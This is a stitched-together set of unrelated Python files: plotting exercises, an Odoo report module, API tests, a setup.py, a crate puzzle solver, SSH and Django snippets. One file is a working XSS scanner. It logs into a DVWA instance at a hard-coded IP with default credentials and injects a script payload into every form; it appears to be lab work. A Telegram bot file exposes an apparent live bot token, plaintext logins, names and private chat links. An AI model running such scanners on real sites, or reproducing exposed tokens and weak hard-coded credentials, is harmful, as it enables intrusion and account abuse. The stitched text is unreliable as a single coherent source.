x3 = np.arange(-9, 0)
y3 = (1/4)*((x3+5)**2) - 3

x4 = np.arange(1, 10)
y4 = (1/4)*((x4-5)**2) - 3

x5 = np.arange(-9, -6)
y5 = (-(x5+7)**2) + 5

x6 = np.arange(6, 10)
y6 = (-(x6-7)**2) + 5

x7 = np.arange(-1, 2)
y7 = ((-0.5)*x7**2) + 1.5

plt.savefig('my.image.png')
plt.plot(x1,y1,x2,y2,x3,y3,x4,y4,x5,y5,x6,y6,x7,y7, '--r', label='парабола')
plt.show()

plt.subplots()
plt.title("Зонтик")
plt.xlabel("Ось абсцисс")
plt.ylabel("Ось ординат")
plt.grid(axis="x", color="blue", alpha=.3, linewidth=6, linestyle=':')
plt.xticks(np.arange(-15, 15, 5))
plt.grid(True)

x1 = np.arange(-12, 12)
y1 = (-(1/18)*x1**2) + 12

x2 = np.arange(-4, 5)
y2 = (-(1/8)*x2**2) + 6

x3 = np.arange(-12, -3)
y3 = -(1/8)*((x3+8)**2) + 6

x4 = np.arange(4, 12)
y4 = -(1/8)*((x4-8)**2) + 6

x5 = np.arange(-4, -0.5)
y5 = 2*((x5+3)**2) - 9

x6 = np.arange(-4, 1)
y6 = 1.5*((x6+3)**2) - 10

plt.savefig('my.image.png')
plt.plot(x1,y1,x2,y2,x3,y3,x4,y4,x5,y5,x6,y6, '--r', label='парабола')
plt.show()


# -*- encoding: utf-8 -*-
import base64
from openerp import models, fields, api
from openerp.osv import osv

import datetime

class licitacion_advance_view(models.Model):
	_name = 'licitacion.advance.view'
	_auto = False
	_order = 'licitacion_id'

	linea_id = fields.Many2one('licitacion.advance.linea')

	licitacion_id = fields.Many2one('licitacion.advance', u'Nro. Licitación')
	date = fields.Date('Fecha')
	employee_id = fields.Many2one('hr.employee','Solicitante')
	area_id = fields.Many2one('area.table', u'Área')
	analytic_id = fields.Many2one('account.analytic.account',u'Centro de Costo')
	product_id = fields.Many2one('product.product', u'Producto')
	description = fields.Char(u'Descripción')
	uom_id = fields.Many2one('product.uom',u'Unidad de Medida')
	justification = fields.Char(u'Justificación')
	priority = fields.Char(u'Prioridad')
	required_qty = fields.Float(u'Cantidad Solicitada')
	order_qty = fields.Float(u'Cantidad en Pedido', related="linea_id.cantidad_pedido")
	order_stock = fields.Float(u'Saldo por Pedir')
	arrival_date = fields.Date(u'Fecha Llegada Planta')
	partner_id = fields.Many2one('res.partner',u'Proveedor')

	def init(self,cr):
		cr.execute("""
			DROP VIEW if exists licitacion_advance_view;
			CREATE OR REPLACE view licitacion_advance_view as (
				SELECT row_number() OVER () AS id,*
				FROM (
					select
						lal.id as linea_id,

						la.id as licitacion_id,
						la.fecha as date,
						la.solicitante as employee_id,
						la.area as area_id,
						lal.centro_costo as analytic_id,
						lal.product_id as product_id,
						lal.descripcion as description,
						pt.uom_id as uom_id,
						lal.justificacion as justification,
						lal.prioridad as priority,
						lal.cantidad as required_qty,
						lal.cantidad - coalesce(x.saldo,0) as order_stock,
						lal.fecha_llegada as arrival_date,
						lal.proveedor as partner_id
					from licitacion_advance_linea lal
					inner join product_product pp on pp.id = lal.product_id
					inner join product_template pt on pt.id = pp.product_tmpl_id
					inner join licitacion_advance la on lal.padre = la.id
					left join (
						select ll.id as line_id, coalesce(sum(pol.product_qty),0) as saldo from licitacion_advance_linea ll
						left join purchase_order_line pol on pol.licitacion_advance_linea_id = ll.id
						left join purchase_order po on po.id = pol.order_id
						where po.state !='draft'
						group by ll.id
					) as x on x.line_id = lal.id
				)T
			)
		""")

	@api.multi
	def export_excel(self):
		import io
		from xlsxwriter.workbook import Workbook

		import sys
		reload(sys)
		sys.setdefaultencoding('iso-8859-1')
		output = io.BytesIO()
		########### PRIMERA HOJA DE LA DATA EN TABLA
		#workbook = Workbook(output, {'in_memory': True})
		direccion = self.env['main.parameter'].search([])[0].dir_create_file
		if not direccion:
			raise osv.except_osv('Alerta!', u"No fue configurado el directorio para los archivos en Configuracion.")
		workbook = Workbook( direccion + u'Licitaciones_con_saldo.xlsx')
		worksheet = workbook.add_worksheet(u"Licitaciones")

		bold = workbook.add_format({'bold': True})
		normal = workbook.add_format()
		boldbord = workbook.add_format({'bold': True})
		boldbord.set_border(style=2)
		numbertres = workbook.add_format({'num_format':'0.000'})
		numberdos = workbook.add_format({'num_format':'0.00'})
		bord = workbook.add_format()
		bord.set_border(style=1)
		numberdos.set_border(style=1)
		numbertres.set_border(style=1)
		boldcentred = workbook.add_format({'bold': True})
		boldcentred.set_align('center')
		boldcentred.set_border(style=1)

		numbersix = workbook.add_format()
		numbersix.set_num_format('#,##0.00')
		numbersix.set_text_wrap()
		numbersix.set_border()

		numbersixred = workbook.add_format()
		numbersixred.set_num_format('#,##0.00')
		numbersixred.set_font_color('red')
		numbersixred.set_border()

		x= 6
		worksheet.write(1,0, u"Licitaciones con Saldo", bold)

		columnas = [u'Nro. Licitación',
					u'Fecha',
					u'Solicitante',
					u'Área',
					u'Centro de Costo',
					u'Producto',
					u'Descripción',
					u'Unidad de Medida',
					u'Justificación',
					u'Prioridad',
					u'Cantidad Solicitada',
					u'Cantidad en Pedido',
					u'Saldo por Pedir',
					u'Fecha Llegada Planta',
					u'Proveedor']

		worksheet.set_column('A:D', 23.14)
		worksheet.set_column('E:G', 58.57)
		worksheet.set_column('H:H', 23.14)
		worksheet.set_column('I:I', 58.57)
		worksheet.set_column('J:J', 9.29)
		worksheet.set_column('K:M', 23.14)
		worksheet.set_column('N:N', 23.14)
		worksheet.set_column('O:O', 58.57)

		for i in range(len(columnas)):
			worksheet.write(5,i, columnas[i], boldcentred)

		for licitacion in self.env['licitacion.advance.view'].search([]):

			la = self.env['licitacion.advance'].search([('id','=',licitacion.licitacion_id.id)])
			he = self.env['hr.employee'].search([('id','=',licitacion.employee_id.id)])
			at = self.env['area.table'].search([('id','=',licitacion.area_id.id)])
			aaa = self.env['account.analytic.account'].search([('id','=',licitacion.analytic_id.id)])
			pp = self.env['product.product'].search([('id','=',licitacion.product_id.id)])
			pu = self.env['product.uom'].search([('id','=',licitacion.uom_id.id)])
			rp = self.env['res.partner'].search([('id','=',licitacion.partner_id.id)])

			worksheet.write(x,0, la[0].number if len(la) > 0 and la[0].number else '', bord)
			worksheet.write(x,1, licitacion.date if licitacion.date else '', bord)
			worksheet.write(x,2, he[0].name if len(he) > 0 and he[0].name else '', bord)
			worksheet.write(x,3, at[0].name if len(at) > 0 and at[0].name else '', bord)
			worksheet.write(x,4, aaa[0].name if len(aaa) > 0 and aaa[0].name else '', bord)
			worksheet.write(x,5, pp[0].name_template if len(pp) > 0 and pp[0].name_template else '', bord)
			worksheet.write(x,6, licitacion.description if licitacion.description else '', bord)
			worksheet.write(x,7, pu[0].name if len(pu) > 0 and pu[0].name else '', bord)
			worksheet.write(x,8, licitacion.justification if licitacion.justification else '', bord)
			worksheet.write(x,9, licitacion.priority if licitacion.priority else '', bord)
			worksheet.write(x,10, licitacion.required_qty if licitacion.required_qty else 0, numbersix)
			worksheet.write(x,11, licitacion.order_qty if licitacion.order_qty else 0, numbersix)
			worksheet.write(x,12, licitacion.order_stock if licitacion.order_stock else 0, numbersix)
			worksheet.write(x,13, licitacion.arrival_date if licitacion.arrival_date else '', bord)
			worksheet.write(x,14, rp[0].name if len(rp) > 0 and rp[0].name else '', bord)

			x += 1

		workbook.close()

		f = open( direccion + u'Licitaciones_con_saldo.xlsx', 'rb')

		vals = {
			'output_name': u'Licitaciones_con_saldo.xlsx',
			'output_file': base64.encodestring(''.join(f.readlines())),
		}

		sfs_id = self.env['export.file.save'].create(vals)
		return {
		    "type": "ir.actions.act_window",
		    "res_model": "export.file.save",
		    "views": [[False, "form"]],
		    "res_id": sfs_id.id,
		    "target": "new",
		}

class licitacion_advance_view_reporte(models.Model):
	_name = 'licitacion.advance.view.reporte'

	fecha = fields.Date('Fecha')

	@api.multi
	def do_rebuild(self):
		return {
			"domain": [('order_stock','>',0),('arrival_date','>',self.fecha)],
		    "type": "ir.actions.act_window",
		    "res_model": "licitacion.advance.view",
		    "views": [[False, "tree"]],
		}


"""Testing Resturant endpoints"""
import uuid
import pytest

pytestmark = pytest.mark.asyncio

RESTAURANTS_URL = "/v1/restaurants"

async def test_get_restaurants(client):
    """Test the get restaurants url"""
    response = await client.get(RESTAURANTS_URL)
    assert response.status_code == 200
    data = response.json()
    assert "items" in data
    assert len(data["items"]) > 1
    assert "page" in data
    assert data["page"] == 1
    assert "pages" in data
    assert data["pages"] == 1
    assert "size" in data
    assert data["size"] == 50
    assert "total" in data
    assert data["total"] == len(data["items"])

async def test_get_restaurants_contract(client):
    """Ensuring the return data is correct"""
    response = await client.get(RESTAURANTS_URL)
    assert response.status_code == 200
    data = response.json()
    for restaurant in data["items"]:
        assert "uuid" in restaurant
        assert "name" in restaurant
        assert "category" in restaurant
        assert "rating" in restaurant
        assert "info" in restaurant
        assert "address" in restaurant["info"]
        assert "phoneNumber" in restaurant["info"]
        assert "openTime" in restaurant
        assert "sun" in restaurant["openTime"]
        assert "mon" in restaurant["openTime"]
        assert "tues" in restaurant["openTime"]
        assert "wed" in restaurant["openTime"]
        assert "thurs" in restaurant["openTime"]
        assert "fri" in restaurant["openTime"]
        assert "sat" in restaurant["openTime"]
        assert "diningOptions" in restaurant
        assert "dineIn" in restaurant["diningOptions"]
        assert "takeout" in restaurant["diningOptions"]
        assert "delivery" in restaurant["diningOptions"]

async def test_get_restaurants_pagination(client):
    """Testing pagination for the GET endpoint"""
    params = {"page": 1, "size": 1}
    response = await client.get(RESTAURANTS_URL, params=params)
    assert response.status_code == 200
    data = response.json()
    assert "page" in data
    assert data["page"] == 1
    assert "pages" in data
    assert data["pages"] == 2
    assert "size" in data
    assert data["size"] == 1
    assert "total" in data
    assert data["total"] == len(data["items"]) * 2

async def test_get_restaurant(client, valid_data):
    """Test getting a single resturant"""
    response = await client.get(f"{RESTAURANTS_URL}/{valid_data['uuid']}")
    assert response.status_code == 200
    data = response.json()
    assert "uuid" in data
    assert data["uuid"] == valid_data["uuid"]
    assert "name" in data
    assert data["name"] == valid_data["name"]

@pytest.mark.parametrize("invalid_url", ["123", "456"])
async def test_get_invalid_restaurant(client, invalid_url):
    """Testing geting invalid uuid"""
    response = await client.get(f"{RESTAURANTS_URL}/{invalid_url}")
    assert response.status_code == 404
    data = response.json()
    assert "detail" in data
    assert data["detail"] == "Restaurant Not Found"

async def test_create_restaurant(client):
    """Test creating a restaurant"""
    payload = {
        "name": "Zachs's Roadhouse",
        "category": "American",
        "info": {
            "address": "109 Dolphin DR, Butler, PA 16002",
            "phoneNumber": "(724) 822-8044",
        },
        "openTime": {
            "sun": "Closed",
            "mon": "Closed",
            "tues": "Closed",
            "wed": "Closed",
            "thurs": "Closed",
            "fri": "Closed",
            "sat": "Closed",
        },
        "diningOptions": {"dineIn": True, "takeout": True, "delivery": False},
        "rating": 2,
    }
    response = await client.post(RESTAURANTS_URL, json=payload)
    assert response.status_code == 200
    data = response.json()
    assert "uuid" in data
    assert data["name"] == payload["name"]
    assert data["category"] == payload["category"]
    assert data["info"] == payload["info"]
    assert data["openTime"] == payload["openTime"]
    assert data["diningOptions"] == payload["diningOptions"]
    assert data["rating"] == payload["rating"]

async def test_create_restaurant_with_uuid(client):
    """Test creating a restaurant with uuid"""
    payload = {
        "name": "Zachs's Bar",
        "uuid": str(uuid.uuid4()),
        "category": "Grill",
        "info": {
            "address": "104 Dolphin DR, Butler, PA 16002",
            "phoneNumber": "(724) 822-8044",
        },
        "openTime": {
            "sun": "Closed",
            "mon": "11AM-10PM",
            "tues": "11AM-10PM",
            "wed": "11AM-10PM",
            "thurs": "11AM-10PM",
            "fri": "11AM-2PM",
            "sat": "11AM-12PM",
        },
        "diningOptions": {"dineIn": True, "takeout": True, "delivery": False},
        "rating": 2,
    }
    response = await client.post(RESTAURANTS_URL, json=payload)
    assert response.status_code == 200
    data = response.json()
    assert data["uuid"] == payload["uuid"]
    assert data["name"] == payload["name"]
    assert data["category"] == payload["category"]
    assert data["info"] == payload["info"]
    assert data["openTime"] == payload["openTime"]
    assert data["diningOptions"] == payload["diningOptions"]
    assert data["rating"] == payload["rating"]

async def test_create_duplicate_restaurant(client):
    """Test creating a duplicate restaurant"""
    payload = {
        "name": "Rachel's Roadhouse",
        "category": "American",
        "info": {
            "address": "987 Fairfield Ln, Butler, PA 16001",
            "phoneNumber": "(724) 841-0674",
        },
        "openTime": {
            "sun": "12-11PM",
            "mon": "11AM-11PM",
            "tues": "11AM-11PM",
            "wed": "11AM-11PM",
            "thurs": "11AM-11PM",
            "fri": "11AM-11PM",
            "sat": "11AM-11PM",
        },
        "diningOptions": {"dineIn": True, "takeout": True, "delivery": False},
        "rating": 4,
    }
    response = await client.post(RESTAURANTS_URL, json=payload)
    assert response.status_code == 400
    data = response.json()
    assert "detail" in data
    assert data["detail"] == "Restaurant Not Added"

async def test_create_duplicate_uuid(client):
    """Test creating a duplicate uuid"""
    payload = {
        "name": "Rach house",
        "uuid": "ddaaa1b4-cd34-444f-ae8e-0b4c0561f733",
        "category": "American",
        "info": {
            "address": "1000 Fairfield Ln, Butler, PA 16001",
            "phoneNumber": "(724) 841-9876",
        },
        "openTime": {
            "sun": "Closed",
            "mon": "10AM-9PM",
            "tues": "10AM-9PM",
            "wed": "10AM-9PM",
            "thurs": "11AM-9PM",
            "fri": "Closed",
            "sat": "11AM-10PM",
        },
        "diningOptions": {"dineIn": True, "takeout": True, "delivery": False},
        "rating": 4,
    }
    response = await client.post(RESTAURANTS_URL, json=payload)
    assert response.status_code == 400
    data = response.json()
    assert "detail" in data
    assert data["detail"] == "Restaurant Not Added"

async def test_create_with_missing_data(client):
    """Test creating with missing data"""
    payload = {
        "name": "Rach house",
        "uuid": "ddaaa1b4-cd34-444f-ae8e-0b4c0561f733",
        "category": "American",
        "info": {
            "address": "800 Faird Ln, Butler, PA 16001",
            "phoneNumber": "(724) 841-0934",
        },
    }
    response = await client.post(RESTAURANTS_URL, json=payload)
    assert response.status_code == 422

async def test_update_restaurant(client, valid_data):
    """Test update restaurant"""
    get_response = await client.get(f"{RESTAURANTS_URL}/{valid_data['uuid']}")
    payload = get_response.json()
    payload["name"] = "Changed the name!"
    response = await client.put(f"{RESTAURANTS_URL}/{valid_data['uuid']}", json=payload)
    assert response.status_code == 200
    data = response.json()
    assert data["name"] == payload["name"]

async def test_update_invalid_restaurant(client, valid_data):
    """Test update with invalid restaurant"""
    get_response = await client.get(f"{RESTAURANTS_URL}/{valid_data['uuid']}")
    payload = get_response.json()
    response = await client.put(f"{RESTAURANTS_URL}/123", json=payload)
    assert response.status_code == 404
    data = response.json()
    assert data["detail"] == "Restaurant Not Found"

async def test_update_invalid_data(client, valid_data):
    """Test update with invalid json data"""
    payload = {"test": "test"}
    response = await client.put(f"{RESTAURANTS_URL}/{valid_data['uuid']}", json=payload)
    assert response.status_code == 422

async def test_delete_restaurant(client, valid_data):
    """Test deletion of a restaurant"""
    response = await client.delete(f"{RESTAURANTS_URL}/{valid_data['uuid']}")
    assert response.status_code == 200
    data = response.json()
    assert data == {"message": "Successful"}

async def test_delete_invalid_resaurant(client):
    """Test deletion of a restaurant that does not exist"""
    response = await client.delete(RESTAURANTS_URL + "/123")
    assert response.status_code == 400
    data = response.json()
    assert "detail" in data
    assert data["detail"] == "There was an error"


import ez_setup
ez_setup.use_setuptools()

from setuptools import *
#from distutils.core import setup

version = '0.3.1'

long_description = '''Playdoh is a pure Python library for distributing
computations across the free computing units (CPUs and GPUs) available
in a small network of multicore computers. Playdoh supports independent
(embarassingly) parallel problems as well as loosely coupled tasks such
as global optimizations, Monte Carlo simulations and numerical integration
of partial differential equations. It is designed to be lightweight and
easy to use and should be of interest to scientists wanting to turn their
lab computers into a small cluster at no cost.'''

if __name__ == "__main__":
    setup(name='playdoh',
      version=version,
      packages=['playdoh',
                  'playdoh.codehandler',
                  'playdoh.optimization',
                  'playdoh.scripts',
                  ],
      entry_points={
        'console_scripts': [
            'playdoh = playdoh.scripts:run_console',
        ],
        'gui_scripts': [
            'playdoh_gui = playdoh.scripts:gui'],
      },
      install_requires=['numpy>=1.3.0',
                        'scipy',
                        ],
      url='http://code.google.com/p/playdoh/',
      description='Open-source library for distributing computations \
over multiple cores and machines',
      long_description=long_description,
      author='Cyrille Rossant, Bertrand Fontaine, Dan F. M. Goodman',
      author_email='Cyrille.Rossant at ens.fr',
      download_url='http://code.google.com/p/playdoh/downloads/list',
      classifiers=[
        'Development Status :: 4 - Beta',
        'Intended Audience :: Science/Research',
        'License :: OSI Approved :: GNU General Public License (GPL)',
        'Natural Language :: English',
        'Operating System :: OS Independent',
        'Programming Language :: Python',
        'Topic :: Scientific/Engineering'
        ]
      )


import requests
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin

def get_all_forms(url,link): #This function allows us to retrieve all the forms from a webpage
    with requests.Session() as s:
        s.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'
        res = s.get(link)
        soup = bs(res.text,'html.parser')
        payload = {i['name']:i.get('value','') for i in soup.select('input[name]')}
        payload['username'] = 'admin'
        payload['password'] = 'password'
        s.post(link,data=payload)
        r = s.get(url)
        soup = bs(s.get(url).content, "html.parser")
    return soup.find_all("form")

def get_form_details(form): #This function retrieve all the informations from a specific form
    details = {}
    action = form.attrs.get("action", "").lower()
    method = form.attrs.get("method", "get").lower()
    inputs = []
    for input_tag in form.find_all("input"):
        input_type = input_tag.attrs.get("type", "text")
        input_name = input_tag.attrs.get("name")
        input_value = input_tag.attrs.get("value")
        inputs.append({"type": input_type, "name": input_name, "value": input_value})
    for textarea in form.find_all("textarea"):
        textarea_name = textarea.attrs.get("name")
        textarea_type = "textarea"
        textarea_value = textarea.attrs.get("value", "")
        inputs.append({"type": textarea_type, "name": textarea_name, "value": textarea_value})
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details

def submit_form(form_details, url, value): #This function allow us to send the form
    target_url = urljoin(url, form_details["action"])
    inputs = form_details["inputs"]
    data = {}
    for input in inputs:
        if input["type"] == "text" or input["type"] == "search" or input["type"] == "textarea":
            input["value"] = value
        try:
            if "Clear" in input["name"]: #This line is present since a button iwth this function would prevent the good functioning on the DVWA webpage
                input["value"] = " "
        except:
            print("ErrorCatch")
        input_name = input.get("name")
        input_value = input.get("value")
        if input_name and input_value:
            data[input_name] = input_value

    print(f"[+] Submitting the payload {data} to {target_url}")

    link = 'http://45.147.96.25:4242/login.php'
    with requests.Session() as s:
            s.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'
            res = s.get(link)
            soup = bs(res.text,'html.parser')
            payload = {i['name']:i.get('value','') for i in soup.select('input[name]')}
            payload['username'] = 'admin'
            payload['password'] = 'password'
            s.post(link,data=payload)
            r = s.get(url)
            if form_details["method"] == "post":
                return s.post(target_url, data=data)
            else:
                return s.get(target_url, params=data)

def scan_xss(url,link,stored_check=False): #This is the main function, it will scan the webpage in order to test XSS attacks. The stored_check paramaterers is to be set to true while rescanning a webpage in order to see if the payload was successfully stored.
    forms = get_all_forms(url,link)
    print(f"[+] Detected {len(forms)} forms on {url}.")
    if (not stored_check):
        js_script = "<script>alert('hi')</script>"
    else:
        js_script = "This is a test" #Payload without JS in order to test stored XSS
    is_vulnerable = False
    for form in forms:
        form_details = get_form_details(form)
        content = submit_form(form_details, url, js_script).content.decode()
        if js_script in content:
            print(f"[+] XSS Detected on {url}")
            print(f"[*] Form details: {form_details}")
            is_vulnerable = True
    return is_vulnerable


import telebot

bot = telebot.TeleBot('5968530077:AAHP_MP3U62qhuSmahB2X-JEr9l9JuJHego')
keyboard1 = telebot.types.ReplyKeyboardMarkup()
keyboard1.row('О компании')
keyboard1.row('Помощь')

@bot.message_handler(commands=['start'])
def start_message(message):
    bot.send_message(message.chat.id, 'Введите логин и пароль!', reply_markup=keyboard1)

@bot.message_handler(content_types=['text'])
def send_text(message):
    if message.text.lower() == 'id001 1234':
        bot.send_message(message.chat.id, 'Добрый день! Шакирт Нурлубекович! Ваша ссылка для чата! \n\n https://t.me/+Ol2a7uJZICc3NjUy')
    elif message.text.lower() == 'id002 1234':
        bot.send_message(message.chat.id, 'Добрый день! Арнур Жазилбекулы!  Ваша ссылка для чата! \n\n https://t.me/+NtCKKrTy_a4zZDcy')
    elif message.text.lower() == 'id004 1234':
        bot.send_message(message.chat.id, 'Добрый день! Ольга Александровна!  Ваша ссылка для чата! \n\n https://t.me/+NtCKKrTy_a4zZDcy')
    elif message.text.lower() == 'id003 1234':
        bot.send_message(message.chat.id, 'Добрый день! Дархан Ерланулы!  Ваша ссылка для чата! \n\n https://t.me/+NtCKKrTy_a4zZDcy')
    elif message.text.lower() == 'о компании':
        bot.send_message(message.chat.id, 'Уэйн Интерпрайзерс (Wayne Enterprise) — (ранее называемое WayneCorp) \n\n На данный момент владелец компании - Брюс Уэйн и его бизнес-менеджер Люциус Фокс.')
    elif message.text.lower() == 'помощь':
         bot.send_message(message.chat.id,'Чтобы получить ссылку для чата, введите свой логин и пароль')
    else:
         bot.send_message(message.chat.id, 'Введены неверные данные!')

    print(message)

bot.polling()


#     [D]
# [N] [C]
# [Z] [M] [P]
#  1   2   3

# move 1 from 2 to 1
# move 3 from 1 to 3
# move 2 from 2 to 1
# move 1 from 1 to 2

mapping = {1:1, 5:2, 9:3, 13:4, 17:5, 21:6, 25:7, 29:8, 33:9}

import math
from collections import defaultdict
def get_starting_state(stack_string):
    lines = stack_string.split('\n')
    lines.reverse()
    # find the number of stacks by dividing by 4 and rounding up
    stack_count = math.ceil(len(lines[0])/4)
    stacks = defaultdict(list)
    for line in lines:
        # bucket size is 4
        for item in line:
            if item != '.' and item != '':
                try:
                    int(item)
                except ValueError:
                    stacks[mapping[line.index(item)]].append(item)
                    templist = list(line)
                    templist[line.index(item)] = '.'
                    line = ''.join(templist)

    return stacks

def parse_instruction(instruction):
    try:
        number_to_move = int(instruction[5:7])
        start_stack = int(instruction[13])
        dest_stack = int(instruction[18])
    except ValueError:
        number_to_move = int(instruction[5])
        start_stack = int(instruction[12])
        dest_stack = int(instruction[17])
    return number_to_move, start_stack, dest_stack

def run_crane(number_to_move, start_stack, dest_stack, stacks):
    crane = []
    for crates in range(number_to_move):
        crane.append(stacks[start_stack].pop())
    for crates in range(number_to_move):
        stacks[dest_stack].append(crane.pop())

with open('5.input', 'r') as input:
    data = input.read()

stack_string = data.split('move')[0].replace(" ", ".").replace("[", ".").replace("]", ".")
lines = data.split('\n')
instructions = []
for line in lines:
    if 'move' in line:
        instructions.append(line)

stacks = get_starting_state(stack_string)
for instruction in instructions:
    number_to_move, start_stack, dest_stack = parse_instruction(instruction)
    run_crane(number_to_move, start_stack, dest_stack, stacks)

print(stacks)


import paramiko
import os
from prox.libs import utils

CURR_DIR = os.getcwd()

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

def ssh_connect(host, username, key_filename=None):
    try:
        ssh.connect(host, username=username, key_filename=key_filename)
    except Exception as e:
        print(e)
        raise e
    else:
        return ssh

def sync_file(ftp_client,path_file, path_remote):
    ftp_client.put(path_file, path_remote)


import os
import sys
from os.path import dirname
if not dirname(__file__) + "/../src/" in sys.path:
    sys.path.insert(0, dirname(__file__) + "/../src/")
from systemrdl import RDLCompiler, RDLCompileError

input_files = [dirname(__file__) + "/test_register_description.rdl"]

if not os.path.exists(dirname(__file__) + "/generated/python/"):
    os.makedirs(dirname(__file__) + "/generated/python/")

rdlc = RDLCompiler()

try:
    for input_file in input_files:
        rdlc.compile_file(input_file)
    root = rdlc.elaborate()
except RDLCompileError:
    sys.exit(1)


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('libraryapp', '0001_initial'),
    ]

    operations = [
        migrations.AddField(
            model_name='book',
            name='publishing_date',
            field=models.DateField(null=True, verbose_name='Publishing date', blank=True),
        ),
    ]